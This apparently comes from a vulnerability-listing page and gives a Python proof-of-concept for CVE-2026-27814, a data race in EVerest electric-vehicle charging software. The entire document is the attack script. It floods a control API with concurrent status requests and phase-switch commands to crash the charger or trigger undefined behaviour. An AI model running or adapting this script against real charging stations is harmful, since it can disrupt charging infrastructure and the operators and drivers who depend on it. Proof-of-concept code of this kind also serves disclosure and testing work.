CVE-2026-27814 EVerest数据竞争漏洞

# PoC for CVE-2026-27814: Triggering Data Race in EVerest import threading import requests import time # Target configuration TARGET_URL = "http://<target-ip>:<port>/api/control" HEADERS = {"Content-Type": "application/json"} # Payload to trigger the race condition payload_switch = { "command": "ac_switch_three_phases_while_charging", "enable": True } def trigger_state_machine_load(): """Simulates the state machine loop activity.""" while True: try: requests.get(f"{TARGET_URL}/status", timeout=2) except Exception: break def trigger_race_condition(): """Sends rapid concurrent requests to exploit the data race.""" for _ in range(50): try: requests.post(TARGET_URL, json=payload_switch, headers=HEADERS, timeout=1) except Exception: pass if __name__ == "__main__": # Create threads to simulate concurrent execution t1 = threading.Thread(target=trigger_state_machine_load) t2 = threading.Thread(target=trigger_race_condition) t1.start() t2.start() # Wait for potential crash or UB manifestation time.sleep(10)